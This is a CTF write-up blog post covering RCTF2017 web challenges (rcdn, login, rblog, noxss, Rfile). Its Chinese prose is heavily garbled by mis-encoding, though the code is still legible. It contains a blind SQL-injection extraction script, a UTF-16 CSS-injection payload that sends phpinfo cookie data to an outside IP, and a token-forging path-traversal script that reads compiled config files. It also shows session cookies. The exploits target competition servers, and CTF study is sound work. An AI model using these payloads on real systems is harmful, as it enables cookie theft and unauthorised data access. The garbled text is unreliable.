LoRexxar's Blog

RCTF2017 web writeup

2017/05/23

鑶滆摑鐚笀鍌咃紝姣旇禌涓殑寰堝棰樼洰浣跨敤鐨勬妧宸у叾瀹為兘鏄父鐢ㄧ殑鎶宸э紝浣嗘槸鍗存病鎯冲埌浼氬湪涓嶅悓鐨勬儏鍐典笅浜х敓鏂扮殑鍒╃敤锛岃鎴戞湁浜嗘柊鐨勭悊瑙c

QQ鍥剧墖20170522042704.png-129kB

QQ鍥剧墖20170522042700.png-2519.5kB

rcdn

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Are you pro?
http://rcdn.2017.teamrois.cn
There is no XSS or SQLi. Just prove you are a pro(e.g owning a pro short domain), you will get flag.

杩欓噷鏄釜鎸哄父瑙佺殑trick锛屼箣鎵浠ュ仛鍑烘潵鐨勪汉锛屽彲鑳芥槸娌℃湁鎯虫槑鐧介鐩腑鐨勬彁绀恒

绔欏唴鏈夋晥鐨勫姛鑳戒笉澶氾紝鍙互鏂板缓basic鐨刢dn锛屾柊寤烘垚鍔熶箣鍚庯紝浼氳幏寰椾竴涓8浣嶇殑闅忔満瀛楃涓插仛瀛愬煙鍚嶃

杩樻湁涓彲浠ユ彁浜icket鐨勫湴鏂

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http://rcdn.2017.teamrois.cn/support/ticket

閲嶇偣鏄繖閲岀殑subdomain锛屾彁浜よ秴杩6浣嶇殑瀛愬煙鍚嶏紝灏变細鎻愮ず锛岃繖閲屼笉鑳界粰basic浣跨敤

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Only email support is available for Basic CDN Service.

濡傛灉闅忎究濉釜鐭綅鐨勶紝灏变細鎻愮ず涓嶅瓨鍦

image.png-70.9kB

濡傛灉浼佸浘鐢ㄥ埆鐨勬柟寮忕粫杩囩殑璇濓紝姣斿锛燂紝涔熷悓鏍锋彁绀轰笉瀛樺湪銆

杩欓噷鎴戣寰楀緢澶氫汉閮芥兂澶氫簡锛屽洜涓篽int宸茬粡鎻愮ず浜嗚繑鍥瀎lag鐨勬柟寮

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Just prove you are a pro(e.g owning a pro short domain), you will get flag.

浜嬪疄涓婏紝鍙鎻愪氦闀垮害涓6浣嶄竴涓嬶紝浣嗘槸鍗村張鏄睘浜庤嚜宸辩殑瀛愬煙鍚嶇殑璇濓紝灏辫兘鎷垮埌flag浜嗭紝鑰屽悗鍙版槸娴忚鍣ㄥ畬鎴愮殑锛屼細鐐瑰嚮杩欓噷鎻愪氦鐨勯摼鎺ャ

杩欓噷鐢ㄥ埌鐨勫皬trick鍏跺疄寰堝父瑙侊紝澶ч儴鍒嗘椂鍊欙紝浼氳鎴戜滑鍒╃敤鍦▁ss涓.

鍙互鐪嬭繖绡囨枃绔http://www.hackdig.com/?08/hack-12844.htm

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浅 : dz //valid domain ext
鈧 : rs //valid domain ext
鈩 : no //valid domain ext
鈩 : sm //valid domain ext
鈩 : tel //valid domain ext
鈩 : tm //valid domain ext
銕 : na // valid domain ext
U+3377 : dm //valid domain ext
銕 : ma // valid domain ext
銕 : nf //valid domain ext
銕 : ml //valid domain ext
銕 : fm //valid domain ext
銕 : cm //valid domain ext
銕 : ps //valid domain ext
銕 : ms //valid domain ext
銕 : pw //valid domain ext
銕 : mw //valid domain ext
銖 : cc //valid domain ext
銖 : cd //valid domain ext
銖 : gy //valid domain ext
銖 : in //valid domain ext
銖 : ph //valid domain ext
銖 : pr //valid domain ext
銖 : sr //valid domain ext
铿 : fi //valid domain ext
铿 : st //valid domain ext
铿 : st //valid domain ext

鍏朵腑涓鍏辨湁杩欎箞澶歶nicode鐨勭紪鐮佸瓧绗︿覆銆傝繖閲岄渶瑕佷竴涓剼鏈潵璺戣窇

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import requests
s = requests.Session()
ll = ['dz', 'rs', 'no', 'sm', 'tel', 'tm', 'na', 'dm', 'ma', 'nf', 'ml', 'fm', 'cm', 'ps', 'ms', 'pw', 'mw', 'cc', 'cd', 'gy', 'in', 'ph', 'pr', 'sr', 'fi', 'ft', 'st']
url = 'http://rcdn.2017.teamrois.cn/dashboard/basic/new'
cookie = {'sessionid':'vk7i4n6qwy6m8c70je9occjyitttto73', 'csrftoken':'rqUhZxckLtvm25DOlhLwaaJgfhfv6sHiYxy5Yd78ODveAWiUbU29KieOujDpHVfg'}
for i in xrange(30):
r = s.get(url, cookies=cookie)
index = r.text.find('Pending</td>')
id = r.text[index-34:index-26]
print id
count = 0
for i in ll:
if i in id:
count+=1
if count >1:
print "[success] "+id
exit()
uurl = 'http://rcdn.2017.teamrois.cn/dashboard/basic/destroy/'+id
r = s.get(uurl, cookies=cookie)

image.png-97.7kB

login

鐧婚檰澶勬湁娉ㄥ叆锛岃繖閲屾渶澶х殑闂鍦ㄤ簬闀垮害锛寀sername鍙兘杈撳叆36浣嶉暱鐨勫瓧绗︿覆銆傝岃繖閲屼篃鍩嬩笅浜嗗緢澶氫紡绗旓紝棰樼洰鏈韩鏄細杩斿洖鎶ラ敊鐨勶紝鎴戜滑涔熻兘浠庢姤閿欎腑鑾峰緱寰堝淇℃伅锛屾瘮濡傝〃鍚嶏紝fuzz鍒楀悕锛屼絾瀹為檯涓婅繖閲岀殑鏄鹃敊鐞嗚涓婂苟涓嶅鍋氭洿澶氱殑浜嬫儏(涓嶇煡閬撴湁娌℃湁浜鸿兘鏋勯犲嚭鏉)鈥︾悊璁轰笂鏉ヨ杩欓噷涓ぇ鍧戙

閫氳繃鏄鹃敊鎴戜滑鍙互寰楀埌锛岃〃鍚島ser锛屽彲浠ユ祴璇曞嚭鐨勫瓧娈礽d,username,password

鎺ヤ笅鏉ュ氨鏄瀯閫犵洸娉ㄤ簡锛屼负浜嗚妭鐪佷綅鏁帮紝鎴戜滑闇瑕佺敤鎴峰悕涓轰竴浣嶇殑璐﹀彿锛屼笉鐭ラ亾鏄笉鏄晠鎰忕殑锛屾湁濂藉嚑涓处鍙蜂负涓涓瓧姣嶏紝瀵嗙爜涔熶负涓涓瓧姣嶇殑鍙凤紝闅忎究鎸戜竴涓

鏋勯爌ayload

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"p'||substr(username,1,1)='a"

鍙互fuzz锛屾槸鍚﹀瓨鍦ㄧ敤鎴峰悕鐨勭涓浣嶄负a鐨勭敤鎴凤紝濡傛灉瀛樺湪锛岄偅涔坰elect鍑烘潵鐨勫瘑鐮佸皢鍜岃緭鍏ョ殑瀵嗙爜涓嶅尮閰嶏紝鐧婚檰澶辫触锛屽鏋滀笉瀛樺湪锛宻elect鍑烘潵鐨勫瘑鐮佸皢涓鸿处鍙穚鐨勫瘑鐮侊紝灏变細鐧婚檰鎴愬姛銆

缈讳簡鍗婂ぉ鍙戠幇username娌℃湁鏀惰幏锛屽悗鏉ユ棤鎰忛棿娉ㄥ叆浜唅d涓1鐨勮处鍙峰拰瀵嗙爜锛屾墠鏈夋墍鏀惰幏

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"p'||id=1&&substr(password,1,1)='a"

寰楀埌id=1锛岃处鍙蜂负admin锛屽瘑鐮佹槸涓涓猦int

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hint:flag_is_in_this_table_and_its_column_is_qthd2glz_but_not_the_

宸茬粡寰楀埌浜嗘湁鏁堜俊鎭紝鍚庨潰涔熸病缁х画璺戜簡

涓嬮潰鎴戜滑瑕佹敞鍏ヨ繖涓瓧娈祋thd2glz锛岃繖閲屽張鏈変簡闂锛岃繖涓瓧娈垫牴鎹寽娴嬪簲璇ユ槸鐢ㄦ潵鍌ㄥ瓨鐢ㄦ埛瀵嗙爜鍔犲瘑鐨勭洂鐨勶紙鍚庢潵鍙戠幇杩樻湁鍋噁lag锛夛紝鍥犱负闀垮害闄愬埗鐨勫叧绯伙紝鎴戜滑鍙兘閫氳繃鍓嶅悗瀛楁瘝鐨勫叧绯绘潵纭鍒ゆ柇锛岄氳繃棰勮RCTF{寮澶存潵璺戞帴涓嬫潵鐨勬暟鎹紝寰堝揩鎴戜滑灏辫兘寰楀埌涓涓叏灏忓啓鐨刦lag.

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RCTF{s1mpl3_m_err0r_ba3ed_i}

浣嗛棶棰樺湪浜庢垜浠棤娉曠煡閬撳摢浜涘瓧姣嶆槸澶у啓鐨勶紝杩欓噷鍙兘閫氳繃hex鏉ュ垽鏂紝浣嗘槸杩欐牱涓鏉ワ紝浣嶆暟灏变笉澶熺敤浜嗭紝鍙兘閫氳繃2浣嶇殑鍓嶅悗鍏崇郴鏉ュ垽鏂粨鏋滐紝灏卞ソ鍍忎笘鐣岀嚎宕╁潖浜嗕竴鏍凤紝涓嶈繃閰嶅悎涓浜涙墜宸ワ紝缁撴灉寰堝灏卞嚭鏉ヤ簡銆

闄勪笂鏈鍚庝娇鐢ㄧ殑鑴氭湰

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import requests
s = requests.session()
ll = "_}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = "http://login.2017.teamrois.cn/login"
def test():
r = s.get(url = url)
csrf = r.text[1813:1867]
result="RCTF{S1mpl3_M_Err0r_Ba3eD_I}"
# for j in xrange(28):
for i in ll:
sql = "p'||substr(hex(qthd2glz),"+str((len(result))*2-1)+",4)='"+result[-1:].encode('hex')+i.encode('hex')
lll = "123456789012345678901234567890123456"
# RCTF{S1mpl3_m_err0r_ba3ed_i}
# RCTF{this
print sql
data = {"username":sql,"password":"p","_xsrf":csrf}
rr = s.post(url,data=data)
if 'Login' in rr.text:
print i
# result+=i
# break
# print result
test()

rblog

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There is no flaw in the source code. Think about other attack surface. If you have built your own blog, you will know where the flag is.
https://static2017.teamrois.cn/web_ad7148fcda06df35821c298c2c766ef5/rblog_10df92e9d4ed73e4fa18ed2a7c67f38a.zip
https://blog.cal1.cn

hint涔熸槸涓澶ф妸

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There was a post on the blog containing the flag you want, but it has been deleted before the CTF starts. How will you find it back?
This challenge has nothing to do with social engineering or the writeups inside. What's the most common third party service related to personal blogs?

涓涓瘮杈冩湁瓒g殑web棰樼洰锛屽洜涓烘暣涓棶棰樻槸鎴戣嚜宸变翰韬粡鍘嗚繃鐨勶紝鏈変竴娆″湪姣旇禌杩樺湪check闃舵鐨勬椂鍊欎笉灏忓績鎶婃瘮璧涚殑wp鍙戝埌浜哹log涓婏紝鍚庢潵琚彁閱掑氨鎾や笅浜嗘枃绔犫︾粨鏋滄棤鎰忛棿鍙戠幇锛宐log涓殑鏂囩珷铏界劧娌′簡锛屼絾鏄痳ss闃呰鍣ㄥ嵈鍦ㄦ垜绗竴娆℃洿鏂扮殑鏃跺欙紝灏辫褰曚笅浜嗘枃绔狅紝骞朵笖鍦ㄦ垜鍒犻櫎鏂囩珷涔嬪悗锛宺ss闃呰鍣ㄤ粛鐒朵繚鐣欎簡杩欓儴鍒嗐

鎵浠ョ湅鍒癶int寰堝揩灏辫兘鎯冲埌杩欎釜锛宐log鏈韩娌℃湁闂锛宖lag鏄湪姣旇禌寮濮嬩箣鍓嶈鍒犻櫎浜嗭紝闂鍦ㄤ簬blog鐨勪竴涓粍浠朵笂銆

浜庢槸鍦╢eedly涓婅闃

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https://blog.cal1.cn/feed

灏辫兘鎷垮埌flag浜嗭紝杩欓噷鏈変釜鍧戞槸锛屽鏋滆闃

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https://blog.cal1.cn/static/atom.xml

鏄病鐢ㄧ殑锛宖eedly骞朵笉璁や负杩欎袱涓槸鍚屼竴涓簮

image.png-160.6kB

noxss

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There is no XSS or SQLi. Flag is in http-only cookie. The /phpinfo.php may be helpful.

hint

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Trick the browser to leak information. Admin is using latest stable Chrome.
You can check this to find out what's new in php5.6: http://php.net/manual/en/ini.core.php .
The HTML filter is whitelist-only mode. If a tag or an attribute is not on the whitelist, it will be wiped out. Maybe you should investigate why I choose php5.5 instead of php5.6, for php5.5 is neither in apt-get source nor on docker official images.
php5.5 is used for a reason (instead of higher version).

涓嶇煡閬撳叾浠栧仛棰樼殑浜烘槸鎬庝箞鐞嗚В鐫4鏉int鐨勶紝涓嬮潰鎴戝氨鍏堣涓涓嬭繖閮ㄥ垎銆

鍚庡彴鐨刪tml filter鏄櫧鍚嶅崟锛屾祴璇曞彂鐜帮紝鍙湁

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<img>
<a>
<link>

杩欎笁涓彲浠ヤ娇鐢紝杩欏嚑涓噷鍑犱箮鍙湁link鏄熀鏈笂娌″仛闄愬埗鐨勩

鍏朵粬鐨勪笁鏉int閮芥槸鍦ㄥ洿缁曞悓涓涓俊鎭
image.png-15.9kB

榛樿缂栫爜锛屼竴涓粠5.6寮濮嬭缃粯璁ゅ硷紝涓昏浣滅敤浜htmlentities(),html_entity_decode() and htmlspecialchars()绛夌瓑杩欎簺瀛楃涓插鐞嗗嚱鏁帮紝涔熻浣犱笉澶槑鐧芥庝箞鍥炰簨銆

杩欎釜婕忔礊鏄垜鍦ㄥ涔爂oogle鍥㈤槦鐨刡ypass csp鐨勬椂鍊欏彂鐜扮殑鏂囩珷
http://blog.innerht.ml/cross-origin-css-attacks-revisited-feat-utf-16/

鏈夊績鐨勮瘽锛屽彲浠ュ湪鎴戝緱鍗氬鏌愪釜瑙掕惤鎵惧埌杩欑瘒鏂囩珷銆

棣栧厛绉戞櫘涓涓棶棰橈紝娴忚鍣ㄥ湪澶勭悊璇锋眰缁撴灉鐨勭紪鐮侀棶棰樻椂鍊欙紝閫氳繃鏈変笅闈3涓紭鍏堢骇锛
鍘熸枃瑙https://www.w3.org/TR/css3-syntax/#input-byte-stream

1銆丅OM
2銆乧ontent-type header(e.g. Content-Type: text/html; charset=utf-8)
3銆佺幆澧冪紪鐮(<link>)

绗竴绉嶆殏涓斾笉璁猴紝鍥犱负鎴戜滑寰堝皯閬囧埌锛岀浜岀鏄垜浠瘮杈冨父瑙佺殑锛屼篃灏辨槸涓婇潰php榛樿缂栫爜浼氬奖鍝嶅埌鐨勶紝鐢熸椿涓繕鏈変竴绉嶆槸鎴戜滑缁忓父浼氶亣鍒扮殑<meta charset>.锛岃繖绉嶄紭鍏堢骇鍒欎綆浜巐ink銆

閭d箞闂鏉ヤ簡锛屽嵆渚挎垜浠彲浠ユ帶鍒剁紪鐮侊紝鍙堣兘鎬庝箞鏍峰憿銆

杩欓噷瑕佹彁鍒颁竴绉嶇紪鐮佸彨鍋歶tf-16锛岃鎴戜滑鏉ョ湅鐪媢tf-16鐨勭粨鏋

image.png-41.3kB

utf-16浼氭妸utf-8涓甯哥殑瀛楃锛2浣嶄綔涓轰竴涓瓧绗﹁В鏋愶紝濡傛灉鎴戜滑鐢╱tf-16寮曞叆utf-8锛岄偅涔堝氨浼氬紩鍏ヤ竴澶у爢涔辩爜銆

濡傛灉浣犵啛鎮塩ss锛屼綘鍙兘浼氱煡閬擄紝css鏈韩鏄竴绉嶅閿欑巼寰堝己鐨勮瑷锛宑ss鏂囦欢鍗充娇閬囧埌閿欒锛屼篃浼氫竴鐩磋鍙栵紝鐩村埌鏈夌鍚堢粨鏋勭殑璇彞銆

璁╂垜浠洖鍒扮珯鍐呯户缁璁恒

1銆佺珯鍐呮槸涓涓瘮杈冨父瑙佺殑xss鐣欒█鏉匡紝杩樻湁涓嶅お涓ユ牸鐨刢sp

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Content-Security-Policy:default-src *; img-src * data: blob:; frame-src 'self'; script-src 'self' unpkg.com; style-src 'self' unpkg.com fonts.googleapis.com; connect-src * wss:;

2銆佺珯鍐呮湁phpinfo.php锛屽湪phpinfo涓細璁板綍褰撳墠鐢ㄦ埛鐨勬墍鏈塩ookie淇℃伅锛屽寘鎷琱ttponly锛堟垜浠氳繃璇诲彇phpinfo椤甸潰鍐呭灏辫兘鑾峰彇flag)
3銆乸hpinfo.php杩樹細鎺ュ彈鎵鏈夌殑request璇锋眰锛屾樉绀哄湪椤甸潰閲
image.png-144.7kB

閭d箞濡傛灉鎶婁笂闈㈢殑鎵鏈夋濊矾杩炴帴璧锋潵锛屽氨鑳芥瀯鎴愭垜浠鐨刾ayload浜嗐

1銆侀氳繃link锛屼互utf-16鐨勬柟寮忓紩鍏hpinfo椤甸潰銆
2銆佸啓鍏

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)},{}*{background:url(http://yourip?

绫讳技鐨刢ss

3銆佺敱浜庤姹備細鍦╬hpinfo椤甸潰涓嚭鐜板娆★紝鎵浠ュ悗涓鏉″彲浠ラ棴鍚堝墠涓鏉★紝鐢ㄦ潵璇诲彇杩欎腑闂撮儴鍒嗙殑椤甸潰鍐呭銆

瀹屾暣payload锛

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<link tye="text/css" charset="utf-16" href='http://noxss.2017.teamrois.cn/phpinfo.php?a=%00)%00}%00,%00%7B%00%7D%00*%00{%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00:%00u%00r%00l%00%28%00h%00t%00t%00p%00:%00/%00/%001%001%005%00.%002%008%00.%007%008%00.%001%006%00?%00' rel="stylesheet"> 1

image.png-176.1kB

鎵撳洖鏉ョ殑涓滆タ闇瑕佽В鐮

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s = "xxxx"
ss= decodeURIComponent(s)
var decodedData = unescape(escape(ss).replace(/%u([\da-f]{2})([\da-f]{2})/gi, '%$2%$1'));
decodedData

鍙儨浜嗭紝鍥犱负鏋勯犵殑payload鍦╞ot閭i噷閬囧埌涓浜涢棶棰橈紝鎵浠ユ妸钃濈尗甯堝倕鍙啋浜嗕慨浜嗕笅bot鎵嶆敹鍒癴lag锛岄敊杩囦簡涓琛銆傘傘

image.png-238.1kB

浣嗕簨瀹炰笂锛岄鐩病鏈夊氨杩欐牱缁撴潫锛屽洜涓轰笂闈㈢殑鏂规硶鏄鏈熻В锛屼絾钃濈尗甯堝倕鍛婅瘔鎴戯紝CyKor閫氳繃缁昪sp鐨勬柟寮忔墽琛宩s锛岃鍙栦簡flag锛屾垜浠旂粏鐮旂┒涓涓嬪彂鐜扮‘瀹炲彲琛屻

鐢变簬cdnhttps://unpkg.com/鏀跺綍鎵鏈夌増鏈殑npm鍖咃紝鎵浠ュ鏋滀笂浼犱竴涓寘鍚伓鎰弍ayload鐨勯〉闈€

閫氳繃link import鍖呭惈杩涙潵锛岄偅涔坖s灏变細鎵ц锛屽苟鑾峰彇flag

Rfile

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An anti-hotlink file storage.

hint

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rFile is powered by flask, it's designed to be a Large Application at first

绔欏唴鏄釜涓嬭浇绔欙紝绔欏唴鐨勪笅杞藉仛浜嗛槻鐩楅摼锛岀湅index.js鍙互鍙戠幇姣30s浼氳姹俛pi/download锛屼細杩斿洖json鏍煎紡鐨勬暟鎹

image.png-84.2kB

娴嬭瘯涓涓嬪彂鐜皌oken鏄痬d5(filename+timestamp)锛岄偅鎴戜滑鍙互闅忎究鍐欎釜exp

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import requests
import hashlib
import json
import sys
reload(sys)
def md5(data):
src = str(data)
m2 = hashlib.md5()
m2.update(src)
return m2.hexdigest()
def getTime(tmpToken,tmpFile,mtime):
mtime = int(mtime)
while True:
if md5(str(mtime)+tmpFile) == tmpToken:
return mtime
else:
mtime = mtime+1
def getToken(filename):
url = "http://rfile.2017.teamrois.cn/api/download"
req = requests.get(url=url)
data = json.loads(req.text)
tmpToken = data[0]['token']
tmpFile = data[0]['fname']
mtime = data[0]['mtime']
stime = getTime(tmpToken,tmpFile,mtime)
token = md5(str(stime)+filename)
return token
def getFile(filename):
token = getToken(filename)
url = "http://rfile.2017.teamrois.cn/api/download/"+str(token)+"/"+filename
print url
req = requests.get(url = url)
data = req.text
print data
# fp = open("./rfile/__init__.cpython-35.pyc","w")
# fp.write(data)
print "download success!"
getFile('../__pycache__/conf.cpython-35.pyc')

鑴氭湰鏈変簡锛屽墿涓嬬殑灏辨槸璇诲彇鏂囦欢鐨勯棶棰樹簡锛屽紑濮嬬爺绌朵竴涓嬶紝鍙戠幇濡傛灉璇诲彇../__init__.py锛屼細杩斿洖filetype not allowed锛屽洖鎯充竴涓嬩箣鍓嶅仛杩囩殑pwnhub锛宑lassroom銆

濡傛灉鏄痯ython3鍐欑殑python搴旂敤锛岄偅涔堜竴瀹氫細瀛樺湪__pycache__/杩欎釜鏂囦欢澶癸紝杩欎釜鏂囦欢澶归噷浼氬瓨鎵鏈塸y鏂囦欢鐢熸垚鐨刾yc鏂囦欢銆傚苟涓旓紝鍚庣紑鍚嶄负.cpython-35.pyc

閭d箞鎴戜滑灏濊瘯璇诲彇../__pycache__/__init__.cpython-35.pyc锛岀劧鍚庣敤uncompyle鍙嶇紪璇戣幏鍙栫殑py鏂囦欢锛屼唬鐮侀噷鍙互鐪嬪埌secret_key鏄粠conf.py璇诲彇鐨勶紝閭d箞鎴戜滑璇诲彇conf.cpython-35.pyc锛屽氨鑳芥嬁鍒癴lag浜嗐

image.png-81kB

CATALOG
  1. 1. rcdn
  2. 2. login
  3. 3. rblog
  4. 4. noxss
  5. 5. Rfile